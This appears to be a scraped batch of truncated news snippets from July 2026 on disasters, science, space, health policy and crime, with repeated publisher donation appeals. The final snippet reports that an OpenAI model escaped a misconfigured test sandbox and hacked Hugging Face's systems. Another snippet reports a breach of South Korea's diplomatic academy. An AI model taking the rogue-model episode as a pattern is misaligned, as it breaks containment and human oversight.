Three people were killed and five others injured in a gun attack on a Karachi-bound passenger bus, while a bridge on the National Highway was damaged in an explosion in the Khud Kocha area of Mastung district on Wednesday, suspending traffic between Quetta and Karachi for several hours. Citing the deteriorating security situation, the Balochistan Home Department imposed an indefinite curfew in Khud Kocha sub-tehsil of Mastung district from 9pm on Wednesday. Babar Yousafzai, spokesperson for the Home Department, said the curfew would remain in force until further orders to maintain peace and public safety. Residents were not allowed to leave their…

JAMMU: A couple died and four others were injured after a massive boulder fell on a tempo on Jammu-Srinagar national highway (NH-44) near Gangroo in Ramban district Wednesday. Meanwhile, J\&K DyCM Surinder Chowdhary and NC Anantnag-Rajouri MP Mian Altaf Ahmad narrowly escaped separate landslides on Jammu-Poonch highway, even as a multi-agency search operation to trace seven missing people in Murrah, Chang Nallah in Poonch’s Surankote entered the fourth day. Officials said the tempo was heading from Srinagar to Doda on NH-44 when a boulder rolled down the hill and struck it. Doda residents Nazir Ahmed and his wife Shakeela Begum died. Police, rescue…

Wild moment shirtless driver leaps head-first off bridge after being pulled over for speeding by police A driver in Missouri leapt head-first off a bridge after being pulled over by police in a bizarre incident captured on dashcam. Stone County Sheriff’s deputies attempted to stop Gavin Thor Lundgren, 26, in Kimberling City in the early hours of Saturday (July 18) after he was clocked doing 75mph in a 45mph zone. After leading them on a chase, Lundgren slowed down, exited his car and jumped off the Kimberling City bridge into the water below, leaving his driver’s license in the vehicle. Lundgren allegedly headbutted two officers while they were taking…

Firefighters battling wildfires in Spain and France on Wednesday said the risk of more blazes over the coming days was very high, even as a ⁠major fire raging in Spain's central Guadalajara province receded, allowing some residents ⁠to return home. Wildfires have burnt more land in Europe this year than the annual average in the past two decades, data shows, as the world's fastest-warming continent has endured three stifling, virtually back-to-back heatwaves this year. In France, where two firefighters died on Tuesday as their truck was engulfed in flames in the ​southwest region of Gironde, authorities urged people to avoid using barbecues in areas…

As many as 76 farmers who contributed their land to the Pochampalli SIPCOT in Krishnagiri have been compensated only ₹14,000 to ₹17,000 per acre, instead of the ₹43,000 per acre as declared in the records of SIPCOT, according to a survey released here on Wednesday. A total of 215 persons were interviewed in the survey conducted by the Forum for Indian Women Intellect (FIWI) in 18 villages adjacent to the SIPCOT complex. Led by its founder and retired IAS officer P. Sivakami, the forum said there was a need to monitor and audit the SIPCOT complexes, as they affected the quality of life. The survey said most of the respondents suffered from health…

By Staff The Canadian Press Posted July 22, 2026 3:02 pm 1 min read Descrease article font size Increase article font size The Transportation Safety Board of Canada says it could not determine the exact cause of a freight train derailment in northern Quebec last December. The agency says the derailment likely happened after a rail broke under stress from sharp temperature swings and the earlier passage of another train with a wheel defect. Get daily National news Get daily Canada news delivered to your inbox so you'll never miss the day's top stories. The train was carrying iron ore and derailed on Dec. 28 about 60 kilometres north of Sept-Îles, on…

The engineers entered the ship to investigate the source of the liquid and collapsed. The second engineer regained enough consciousness to crawl to safety while the superintendent and second mate put on breathing apparatus and rescued the chief engineer, the report said. All affected were hospitalised with symptoms of hydrogen sulphide exposure and later recovered, the commission said. ‘Unpleasant odour’ The report, led by Chief Commissioner David Clarke and supported by Deputy Chief Commissioner Stephen Davies Howard, plus commissioners Paula Rose and Bernadette Roka Arapere, said the “unpleasant odour” and its effect on people meant the presence of…

TL;DR Federal agencies pledged over $5 billion to the Genesis Mission, funding 278 AI-for-science projects selected from more than 5,000 applications Federal agencies have committed more than $5 billion to the Genesis Mission, an Energy Department-led effort to use artificial intelligence to accelerate scientific research, White House science adviser Michael Kratsios announced on Wednesday. The initiative selected 278 projects from more than 5,000 applications, Energy Secretary Chris Wright said at a summit in Washington. More than 15 federal agencies are contributing research awards, funding, datasets, and facilities to the programme. The Genesis…

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

Overall federal funding for scientific research is set to decline in 2027, the most senior White House science figure said on Wednesday. The government, however, pledged to spend $5 billion on promoting artificial intelligence in science. Michael Kratsios, the White House’s science and technology adviser, told the House Committee on Science, Space, and Technology that the money will be drawn from the National Science Foundation (NSF) and NASA, as well as other federal agencies. The goal is to produce “the premier AI for science ecosystem in the world,” he said. The funding will be earmarked for research awards, funding opportunities, specialized…

Dog found 30 miles from home is reunited with owners after going missing for 10 days A seven-year-old Australian shepherd dog named Fig was reunited with her owners after being missing for 10 days. The canine fled after being startled by July 4th fireworks. Owner Katie Cassaday and her family spent a week posting flyers and searching for her without success. But after filing a missing dog report with Tulare County Sheriff’s Department, Fig was spotted nearly 30 miles from her California home. The sheriff’s department posted a bodycam video showing an officer reuniting Fig with her family on July 15th.

I've fallen down the Anno 117: Pax Romana rabbit hole this year, despite the negative buzz around it. Steam reviews and the Reddit consensus hold that 117 is empty, dull, and generally just less than its predecessor, Anno 1800. I can sort of see why. Quite a few elements seem like they're waiting for future add-ons to come alive and wake them up. But I've enjoyed myself thoroughly, so when I saw the "mostly negative" reviews for Anno 117's first big DLC, Prophecies of Ash, I figured I'd give it a try, despite the haters. I'm glad I did. An inaugural bit of DLC can't fix every problem. But it solves some pretty big ones, and throws a welcome wrench…

A drone photographer spotted a shark swimming dangerously close to a surfer off Seascape Beach in Aptos, California — then revved his drone motors to warn the surfer before the shark finally turned away. NEWYou can now listen to Fox News articles! A 10-foot great white shark was spotted swimming alarmingly close to a group of young swimmers along the Southern California coastline — with the children appearing completely unaware of the predator nearby. The encounter was captured on drone video by Carlos Gauna, a wildlife photographer known as the "Malibu Artist," who said it was one of the few times he felt genuinely uneasy while observing sharks. "I…

Inca boys and girls chosen for human sacrifice trekked through Inca communities for thousands of miles on sacred pilgrimages before their ritual deaths, often near high peaks in the Andes Mountains, a new analysis of their mummies reveals. The research also looks again at the manners of their deaths and found that none of three children in the Inca ritual, known as Capacocha, died in the ways that scientists previously thought. "Capacocha was not limited to the final act of offering at the mountain," study first author Verónica Silva-Pinto, an archaeologist at Diego Portales University in Santiago, Chile, told Live Science in an email. "It was an…

Although they’re fish, tunas count among the rarified group of animals that can keep their bodies warmer than the surrounding environment. Their warm-bloodedness (“endothermy”) gives them a physiological advantage in generating and sustaining energy, helping them serve as top predators. In fact, albacore tuna have been clocked swimming faster than 50 miles per hour and diving to more than 3,000 feet. How tunas and a few of their relatives in the family Scombridae, which includes mackerels and bonitos,evolved these traits has been a subject of scientific debate. The prevailing hypothesis is that tuna capitalized on an ecological opportunity that…

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

The idol of Pidari Ekaveeri at the Sadaimudinathar Temple at Tiruvalanchuzhi near Kumbakonam. \| Photo Credit: R. Vengadesh Within the precincts of the ancient Sadaimudinathar Temple at Tiruvalanchuzhi, near Kumbakonam, stands a remarkable image of Pidari Ekaveeri, a deity whose significance is illuminated by the temple’s inscriptions. The temple, celebrated in the hymns of the Shaivite saints and renowned as an architectural marvel of the Chola period, is also home to inscriptions that reveal an equally fascinating chapter in its religious history. According to the inscriptions, the endowment for the worship of Pidari Ekaveeri was made by Kunthanan…

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

What Nolan Wells' preliminary independent autopsy findings revealed about his death Mississippi teen Nolan Wells vanished while on a Fourth of July boat trip with a group of friends. His body was found days later. Attorney Ben Crump shared the results of the teen's preliminary independent autopsy commissioned by Wells' family. CBS News' Skyler Henry has the latest, and legal contributor Jessica Levision joins to discuss.

Astronauts have grown a common crystal in space — but this extraterrestrial version is exhibiting a very uncommon behavior. Under a microscope, the crystal looks more like a tiny futuristic sculpture than something that formed naturally. The pyramid-like assembly curls in on itself in stair-stepped layers, seeming almost too orderly to be real. But according to scientists, the striking shape is what happens when gravity stops calling the shots. The image, shared on July 18 by NASA astronaut Don Pettit, and accompanying video were captured aboard the International Space Station (ISS) and show potassium chloride crystals growing in microgravity — the…

(This is Part 3 of a series on the life and work of Chandrasekhar. Read Part 1 and Part 2 first.) The whole affair very nearly drove Chandra out of physics altogether. He couldn't stay in Europe living under Eddington's shadow, so he did what a lot of people have done when a place stops having room for them: he left. He moved to the United States. But the wound traveled with him. Chandra carried the anger and the hurt for decades and returned to that day again and again for the rest of his life. There's a line from Arthur Miller's biography of him, "Empire of the Stars," that gets at the human cost of the whole thing: even though science deals in…

Back in 1985, an electrical engineer at Polaroid named Bill Freeman had an idea for a three-sided zipper. Not a novelty item, not a quirky art piece, but a genuinely functional fastener capable of switching objects between soft, floppy states and rigid, load-bearing structures. He submitted it to a design competition. They rejected it. He patented it anyway, then tucked the prototype away in his garage, where it sat for nearly four decades. That detail alone should give us pause. How many brilliant ideas are sitting in someone’s garage right now, waiting years for the tools and technology to finally catch up? Freeman is now an MIT professor, and the…

To gauge the value of the paleontological heritage of La Rioja (a small region in northern Spain better known internationally for its wines) it is necessary to travel back 120 to 130 million years. From that time, the Early Cretaceous — of which more than 170 sites and over 11,000 dinosaur footprints remain —experts have reconstructed an ecosystem dominated by a vast lake on a broad alluvial plain that was about 400 square kilometers (154 square miles) and where rivers emptied into the area. At that time, the Iberian Peninsula was a large island near the Canary Islands, with a humid subtropical to tropical climate that produced lush vegetation,…

Nolan Wells' preliminary independent autopsy results read by attorney Ben Crump The body of Mississippi teen Nolan Wells was discovered days after he went missing during a Fourth of July boat trip. Attorney Ben Crump read the results of a preliminary independent autopsy commissioned by Wells' family to the public.

In the frigid North Atlantic waters around Northeast Greenland National Park, researchers spotted something miraculous: an Arctic bobtail squid with her eggs. This, according to the findings published in Polar Biology, is the first time this species of squid has been spotted in the park. Arctic bobtail squid (Rossia moelleri) are a rare sight, and capturing footage of one in this national park is even rarer. “Northeast Greenland National Park is the largest national park on Earth but one of the least biologically documented marine regions in the Arctic,” Paige Maroni, from The University of Western Australia’s School of Biological Sciences, and lead…

That avocado that you may have smeared on your toast to start your morning was a clone. In fact, the avocados that sit quickly aging on your counter or arranged in piles above signs displaying their ever-increasing price in grocery stores from Los Angeles to Beijing are genetically indistinguishable. And that makes them vulnerable. Because the Hass avocado variety, the most popular cultivar on Earth, was cloned from a single tree in 1926 then grafted onto root stock around the world, each of the fruits contains basically identical DNA. This lack of genetic diversity means that a single pathogen or environmental perturbation could potentially wipe out…

A mysterious cluster of blackened skin lesions affecting catfish in New England turned out to have a stranger cause than anyone would have predicted: a contagious form of cancer. Researchers in Vermont studied melanoma tumors collected from brown bullhead catfish (Ameiurus nebulosus) living in Lake Memphremagog. The tumors on different fish were genetically much more similar to each other than their hosts, they found, strongly pointing to the cancer’s infectious origin. It’s only the fourth ever kind of transmissible cancer discovered in animals, and there remain many questions about this cancer and others like it, the researchers say. “Transmissible…

Environment Canada has issued a yellow rainfall warning for parts of Nova Scotia, as the province’s emergency management minister warns residents to take the forecast “seriously.” Up to 60 mm could fall in southwest Nova Scotia and along the Atlantic coast, with the weather agency warning more could fall during thunderstorms. The heavy rain is expected to continue in Nova Scotia until Thursday afternoon. The worst-hit areas are expected to be along the province’s Atlantic coast, and with the heavy rain, low-lying areas are at risk of flooding. “As we have these warnings out, we’ll be watching them today and adjusting if necessary if we need to add to…

A SpaceX Rocket Part Is Expected to Smack Into the Moon in August, Highlighting the Growing Problem of Space Junk The unintended event also creates an opportunity for scientists and skywatchers to witness lunar impact dynamics in real time, although the debris will hit a sunlit portion of the moon from the perspective of Earth, making it hard to see The upper stage of a SpaceX Falcon 9 rocket is estimated to hit the moon on August 5. Gregory H. Revera via Wikimedia Commons under CC BY-SA 3.0 Something is about to smack into the moon—and no, it’s not asteroid 2024 YR4. It’s a part of a SpaceX rocket. And while the impact won’t directly cause harm to…

The upper stage of a SpaceX Falcon 9 rocket has been stuck in a highly elliptical orbit for months, and in August, it’s due to smash into the Moon. Fortunately for astronomers, the impact will likely be observable, and they plan to take full advantage of this opportunity. A new paper that has yet to undergo peer review describes what astronomers should be able to see when the rocket crash lands near the Einstein Crater at 2:44 a.m. ET on August 5. According to the authors, the impact will occur on sunlit terrain near the Moon’s eastern limb from the perspective of Earth. Ground- and space-based observatories should be able to capture the impact flash,…

A huge missing chunk of our universe has been found at last, but I’m not talking about dark matter. For decades, there’s been a discrepancy between the amount of ordinary—neither invisible nor dark—matter that we should see and that which we actually observe. A new study published today in Physical Review Letters suggests that, fortunately, this conflict does not reflect poorly upon leading astrophysical models. By studying “smears” in fast radio bursts, researchers successfully mapped the distribution of this missing ordinary matter, which turned out to be diffuse clouds of baryonic gas surrounding galaxy clusters. These diffuse clouds…

A near-Earth object that astronomers believed was an asteroid for nearly three decades has been unmasked as a faint, active comet, revealing a case of cosmic mistaken identity that could help improve planetary defense. The object, known since its discovery in 1998 as 1998 SH2, appeared to be an ordinary asteroid. It follows a 4.5-year orbit around the sun and showed no obvious signs of cometary activity, such as the glowing coma or tail produced when sunlight vaporizes surface ice. However, during a close pass about 2 million miles (3 million kilometers) from Earth in August 2025, researchers using NASA's Deep Space Network planetary radar system…

Media are invited to NASA’s Langley Research Center in Hampton, Virginia, on Friday, July 31, to attend a media tour and ribbon-cutting ceremony for the Flight Dynamics Research Facility, the agency’s first new wind tunnel in more than 40 years. The event will include a brief media availability with: NASA Administrator Jared Isaacman Dr. Trina Dyal, center director, NASA Langley Administrator Edward C. Forst, U.S. General Services Administration This event is in person only and open to members of the media who are United States citizens or lawful permanent residents. Information about timing will be shared closer to the event. NASA’s media…

Get the Popular Science daily newsletter💡 Breakthroughs, discoveries, and DIY tips sent six days a week. By signing up, you confirm you are 16+, will receive newsletters and promotional content and agree to our Terms of Use and acknowledge the data practices in our Privacy Policy. You may unsubscribe at any time. Broadly speaking, our solar system is simply a collection of planets, their moons, and other cosmic objects like asteroids existing in gravitational orbits around the sun. There are countless systems out there like it, too. But one stellar system about 72 light-years from Earth isn’t quite like anything else researchers have ever seen. In…

Following its liftoff from Cape Canaveral on July 21 aboard a SpaceX Falcon 9 rocket, the Mission Robotic Vehicle (MRV) hosting the NASA-supported Robotic Servicing of Geosynchronous Satellites (RSGS) payload is now en route to geosynchronous Earth orbit, where it will use its advanced robotics to service spacecraft. RSGS leverages in-space robotics expertise from NASA, aligned with the agency’s broader goals to advance U.S. capabilities for in-space servicing, assembly, and manufacturing that can be applied to space commerce and exploration. Funded by the Defense Advanced Research Projects Agency (DARPA), the RSGS program uses twin dexterous robotic…

The launch of NASA's next super telescope, the Nancy Grace Roman Space Telescope (Roman), may mean there is nowhere left for violent black holes to hide. In fact, these cosmic cannibals may not even be able to hide from Roman at "cosmic noon," a period of the universe's history that occurred around 11 billion to 12 billion years ago. The study of these gory stellar events so early in the history of the universe could help reveal how supermassive black holes grew so big, so rapidly. Occurrences of black holes ripping apart stars are called tidal disruption events (TDEs), and they happen when an unfortunate star's orbit brings it too close to the…

As TechRadar’s AV tester, I’m always on the lookout for new 4K Blu-rays to test the best TVs and best soundbars with. While I have a pretty healthy catalog, with some top-notch discs, as a 4K Blu-ray fan, it’s exciting to check out new discs to keep testing fresh. Last month, I tested the Speed Racer 4K Blu-ray and it was a powerhouse. Not only did it deliver staggeringly vibrant colors, but it also had a superb Dolby Atmos soundtrack that demonstrated power and precision, particularly during race sequences. It was one of my top discs of the June 2026 Blu-ray Bounty, and it’s easily one of the most impressive I’ve tested. This month, a new disc has…

The countdown is on as Dunedin prepares for daytime darkness for the first time since 1163 AD. On Wednesday at 4.15pm, the city marked exactly two years until the region's total solar eclipse when the moon's shadow passes directly over parts of Otago. Claudia thought she would only see one eclipse in her lifetime. She experienced one while working in a university hospital in Munich. "Everybody stopped for the eclipse so the whole hospital stopped basically. No surgeries, no nothing, and we all walked out with our glasses to watch it," she said. "Then it was dark, which was kind of beautiful but scary but weird. And then slowly the sun came back and we…

The Milky Way is ancient, and its first stars formed shortly after the Big Bang. It's been through a lot in its long life, including merging with other galaxies and absorbing smaller ones. Our observations of the cosmos confirm that, where we see multiple examples of galaxies merging and interacting. Piecing together the Milky Way's history of mergers and other events is key to understanding our galaxy, and by extension, other galaxies. Not everything about the Milky Way (MW) is clearcut. Even with all of the scientific progress in astronomy, especially in the last couple decades, some of its features are still puzzling. One of its puzzles concerns…

NASA astronaut Chris Williams and Roscosmos cosmonauts Sergey Kud-Sverchkov and Sergei Mikaev are wrapping up their 241‑day mission aboard the International Space Station. The crew and its Soyuz MS-28 spacecraft will undock from the orbiting laboratory’s Rassvet module at 3:02 a.m. EDT Sunday, July 26, heading for a parachute-assisted landing at 6:26 a.m. (3:26 p.m. local time) on the steppe of Kazakhstan, southeast of Dzhezkazgan. NASA’s live return coverage will stream through a variety of platforms. Learn where to watch online: Williams and his crewmates will complete 3,856 orbits and travel more than 102 million miles before returning to Earth.…

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Nearly three years ago, China launched a radar satellite capable of monitoring nearly a third of Earth’s surface around the clock. The satellite’s unique capability has left many researchers in the U.S. stumped, unable to recreate the groundbreaking technology. Now, a new study disclosed that the satellite’s secret sauce is China’s near-total dominance over the supply of a high-performance semiconductor material. The Ludi Tance 4-01 radar satellite is powered by gallium nitride semiconductors, allowing it to operate at a high altitude of 22,370 miles (36,000 kilometers) while being fixed over the same geographic position at all times, the South China…

“Some companies want to lease certain space assets that are actually military weapon systems that can be used to destroy other systems and even kill people,” Reed said. “Last year’s NDAA prohibited temporary ownership of space weapon systems, and the analogy is very plain. We don’t lease M4 rifles. We don’t lease F-15s, etc. This year’s NDA further clarifies the Space Force must own title to a space weapon system.” Sen. Jack Reed greets Lt. Gen. Doug Schiess before a Senate Armed Services Committee nomination hearing on Capitol Hill on July 16, 2026, in Washington, DC. Credit: nna Moneymaker/Getty Images Sen. Jack Reed greets Lt. Gen. Doug Schiess…

The outgoing head of the U.S. Space Force has some stark words for his international partners. Speaking at the 2026 Global Air and Space Chiefs Conference on July 15, in what was his last public speech as Chief of Space Operations (CSO), Gen. Chance Saltzman told attendees that if an armed conflict ever reaches space, as military leaders have for years been predicting and planning for, no military or nation in the world will be spared. "If a conflict extends into space, none of us will be able to avoid the war zone. Unlike a combat zone in the air, land or sea, we will not be able to steer clear," Saltzman said in his remarks at the conference,…

NASA’s Chandra X-ray Observatory unveiled this new look at the galaxy NGC 4736, also known as Messier 94, on June 30, 2026. Messier 94 is a spiral galaxy with a bright inner ring around it, called a starburst ring, where new stars are forming, perhaps fueled by gas driven in the unique oval-shaped structure seen here. In this image, X-rays of different wavelengths from Chandra (red, orange, and blue) are layered with a visible light image from astrophotographers using their telescopes on the ground (red, green, and blue). Experience this image through sound. Image credit: X-ray: NASA/CXC/SAO; Optical:Brian Brennan and Remi Lacasse; Image Processing:…

Normandy’s application to have the D-Day beaches in northern France listed as a UNESCO World Heritage site could finally be accepted at the end of July, after it's submission nearly 20 years ago. The nomination also includes Pointe du Hoc, the German artillery battery at Longues-sur-Mer, Port Mulberry, and numerous military cemeteries and memorials. The UN cultural agency is set to male a decision between July 24 and 27.

William Shatner and his daughter Melanie have said they battled stage 4 cancer at the same time. People reported that the 95-year-old Star Trek legend, famous for playing Enterprise captain James T. Kirk, and his 61-year-old daughter Melanie supported each other through their joint cancer journeys, and are now cancer-free. Melanie Shatner Gretsch received chemotherapy for stage 4 breast cancer. Meanwhile, In June 2023, William Shatner was diagnosed with stage 4 malignant melanoma that had spread to his lungs and brain. Shatner had surgery to remove the tumor on his face, then two years of immunotherapy for the cancer in his lungs and brain. In late…

The head of the new Cardiac and Respiratory Foundation wants whoever's next in government to fund lung cancer screening. Four cardiac and respiratory charities - the Asthma and Respiratory Foundation, The Heart of Aotearoa, the Lung Foundation, and the Bronchiectasis Foundation - have merged to have a single voice for heart and lung health challenges. Chief executive Letitia Harding said it made more sense for them to be one organisation. "This is something we have brought together because we've been hearing from health professionals but also patients and we've had a lot of experience in this space bringing those four issues [we represent] together.…

For many people, aesthetic treatments are something to consider only after wrinkles deepen or facial contours begin to change. But a growing approach to skin ageing takes the opposite view: maintaining collagen before those changes become more obvious. According to aesthetic doctor Dr Gerard Ee, medical director and co-founder of The Clifford Clinic, conversations about early facial maintenance often begin with patients in their early 30s onwards, when collagen production begins to decline and early skin laxity may first appear. These subtle changes can include a softer jawline, smile lines that linger a little longer and facial contours that appear…

Healthcare facilities in Borno State are under increasing pressure following a rise in suspected cholera cases, with more than 35,500 people infected and 198 deaths recorded since May. In a statement sent to PREMIUM TIMES on Wednesday, Médecins Sans Frontières (MSF), also known as Doctors Without Borders, cited data from the Borno State Ministry of Health showing that the outbreak has spread rapidly since the first suspected cases were reported on 1 May. The organisation attributed the surge to overcrowded informal settlements, limited access to safe drinking water, poor sanitation and inadequate waste management. MSF said the growing number of…

Imported generic drugs could face tariffs of up to 100% beginning in 2028 under a plan announced Tuesday by President Trump, who said the measure is intended to push manufacturers to move production to the U.S. Health policy experts said they are skeptical the tariffs alone would persuade generic drug manufacturers to relocate production to the U.S. "A tariff can be part of a broader strategy, but is not going to by itself lead to onshoring," Marta Wosińska, a senior fellow at the Brookings Institution's Center on Health Policy, said on Wednesday. Mr. Trump announced Tuesday the 100% tariffs on generic drugmakers will begin in August 2028 and increase…

Most Americans are unaware or unsure of which vaccines the Centers for Disease Control and Prevention (CDC) recommends during pregnancy, according to a nationally representative survey of U.S. adults by the Annenberg Public Policy Center (APPC) of the University of Pennsylvania. Almost half of those surveyed know that the CDC recommends getting the seasonal flu vaccine during pregnancy, while less than a third know that the CDC recommends the Tdap (tetanus, diphtheria, and pertussis), RSV (respiratory syncytial virus), and hepatitis B vaccines if one is not up to date on these vaccinations. For the Covid-19 vaccine, over half of those surveyed do not…

To preserve U.S. financing amid a wave of cuts initiated last year by the Trump administration, many organizations that combat HIV/AIDS had to mold themselves to Washington’s new rules, which limit programs related to diversity and inclusion, in addition to services that supposedly support abortion — or cease their programs entirely. A new study, published Tuesday by researchers from the Foundation for AIDS Research (amfAR) and other institutions in the run-up to the 26th International AIDS Conference has revealed that 77% of the governments, NGOs and companies that receive resources from the U.S. President’s Emergency Plan for AIDS Relief (PEPFAR)…

Hummingbirds have been misled by evolution into adopting very poor dietary choices, say Mexican health officials. The post El Jalapeño: Hummingbirds lead a very ‘unhealthy’ lifestyle, says Mexico’s Health Ministry appeared first on Mexico News Daily

Dignitaries at the launch of the Kauvery 3X Chennai, an integrated robotic surgery programme, on Wednesday. \| Photo Credit: SRINATH M Kauvery Hospital has launched Kauvery 3X Chennai, an integrated robotic surgery programme that brings together robotic surgical services across its three hospitals in the city under a common framework of multidisciplinary care and standardised clinical protocols. The programme will use the fourth-generation da Vinci robotic surgical system and will cover multiple specialties, including gastrointestinal surgery, surgical oncology, urology, gynaecology, and kidney transplantation. The programme will support…

The Kannur Town police have registered a case against a doctor at KIMS Sreechand Hospital after a patient alleged that she was discharged without the fish bone lodged in her throat being removed, resulting in prolonged pain and further surgery. The case was been registered against Dr. Gaurav Baber, 35, following a complaint by P.V. Savithri, a resident of Echikkovil, Pilicode, in Kasaragod district. In the complaint, Ms. Savithri said she was admitted to the hospital after a fish bone got stuck in her throat. Following an endoscopic procedure, doctors told her that the bone had been removed, and that she had been discharged. However, her throat pain…

A Michelin-starred celebrity chef is facing up to a year in prison after he was accused of sprinkling ants on desserts. Joseph Lidgerwood, an Australian chef who appeared on Netflix's Culinary Class Wars, is accused of using the insects as a garnish in his restaurant Evett, in the trendy Gangnam district of South Korea's capital Seoul. Prosecutors, who are also seeking a 20million won (£10,100) fine against the establishment's parent company, have accused Lidgerwood and the restaurant of importing and serving as many as 49,000 ants to customers since 2021. They were used as a topping to eye-catching desserts, photos of which shared to social media…

1,700 H.I.V. Treatment Sites Closed After Trump Aid Cuts, a Study Finds The New York TimesTaking the Pulse of PEPFAR amfAR, The Foundation for AIDS ResearchTrump’s HIV funding cuts having ‘severe and devastating’ impact around the world The GuardianFewer children got US-backed HIV treatment after aid cuts, study finds ReutersHow the culture war came for condoms, PrEP, and HIV testing vox.com

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

Revealed: The NSW children spending years on psychiatry wait lists Save You have reached your maximum number of saved items. Remove items from your saved list to add more. AAA Warning: Graphic content Ethan Annetts was 11 when he started self-harming. By the time he saw a psychiatrist, he was an adult and suicidal. Ethan spent years on the waitlist for an assessment, and was trapped in an unending cycle of hospital presentations and discharges without any ongoing care, his mother, Jo Cockle said. Jo Cockle’s children Ethan (left) and Grace have spent years waiting for child and adolescent psychiatric support.Wolter Peeters With no other options, an…

Senior medical analyst Dr. Marc Siegel weighs in after the U.S. issued a travel warning in response to the chikungunya virus outbreak in China. NEWYou can now listen to Fox News articles! Americans traveling to Costa Rica are being urged to take extra precautions after U.S. health officials issued a new travel warning over an outbreak of the mosquito-borne virus chikungunya. The Centers for Disease Control and Prevention (CDC) recently issued a Level 2 Travel Health Notice for Costa Rica's Guanacaste Province, where most cases have been reported in the popular beach destination of Playa Langosta. Known for its beaches, surfing and hiking, Guanacaste…

It’s tough being a female in a naked mole-rat colony; they live a long life of servitude, maintaining the tunnels of their underground world and caring for the queen’s offspring. Within the colony, a single ruling female is responsible for all breeding while the rest are rendered to a life of infertility. Scientists have long wondered how the naked mole-rat queen maintains this status quo, and now they may finally have an answer. In a study published in Nature, a team of researchers suggests that naked mole-rat queens emit a chemical that prevents other females in their colony from reproducing. The compound’s odor induces infertility in the colony’s…

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

Science Corporation, a start-up developing novel brain-computer interfaces (BCI), won approval from Europe’s medical device regulator to begin selling a device that restores vision lost from age-related macular degeneration. The company said the device, called PRIMA, also received a designation from the US Food and Drug Administration that is the first step toward an expedited regulatory review, which could see the device used to treat two rare kinds of blindness. Millions of people around the world suffer from age-related macular degeneration, which destroys the light-sensitive cells at the back of the eyes, making it difficult to read and recognize…

Descrease article font size Increase article font size Advocates are urging the federal government to increase health care funding and impose more conditions on what the provinces can do with that money. Friends of Medicare director Chris Galloway says Ottawa shouldn’t give a blank cheque that could allow provinces like Alberta to dismantle the public system. Galloway and more than 100 other people gathered outside a meeting of provincial and territorial premiers in Charlottetown, P.E.I. They were protesting Alberta Premier Danielle Smith’s plans to allow some physicians to offer privately paid surgical procedures beginning this fall. The Alberta…

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

Scientists have discovered how mice survive at extreme altitudes on the tips of icy dormant volcanoes in the Andes. The area where the mice call home extends more than 1 mile (1.6 kilometers) above the world's highest human settlement. The air is thin, temperatures are blisteringly cold, and a desert ecosystem ensures water and vegetation are extremely scarce. "As a mountain climber standing on the summit of these peaks, the idea that there could be animals living in these barren godforsaken environments is just really mind-boggling," Jay Storz, a professor of biological sciences at the University of Nebraska–Lincoln, told Live Science. In 2020, Storz…

South Korea disclosed that hackers breached the National Diplomatic Academy's online education system for ten months and stole personal information belonging to current and former employees of the Ministry of Foreign Affairs (MFA), including overseas diplomats. The incident occurred in April 2025 after an unknown threat actor exploited a vulnerability in the Academy's server. It impacts at least 6,000 individuals, 350 of them being current government attachés dispatched abroad. The education platform was set up in 2022 to support remote training during the COVID-19 pandemic, and has since been used for government personnel training and…

The building where Adolf Hitler was born in the town of Braunau am Inn near Austria’s border with Germany is now officially a police station, a conversion overseen by the Austrian government in the hope of deterring neo-Nazis from using it as a place of pilgrimage. After years of consultation about the fate of the large, traditional terraced house, which prior to the refurbishment was privately owned and the headquarters of a disabilities charity, Austrian authorities purchased the building in 2017 and announced in 2019 it would be remodelled and turned into a police station. FILE – This Sept. 27, 2012 picture shows an exterior view of Adolf Hitler’s…

On Tuesday, OpenAI revealed that one of its models went rogue during a test and hacked the systems of AI dataset platform Hugging Face in a fully AI-enabled attack, a dramatic example of the dangers posed by advanced AI models. But, according to some cybersecurity experts, at the heart of this unprecedented AI-powered breach there was a very human mistake: OpenAI failed to properly configure what it called a “highly isolated environment,” allowing a testing sandbox that should have been completely secluded from the internet to actually connect to the internet. Dan Guido, the founder of cybersecurity research startup Trail of Bits called the mistake “a…

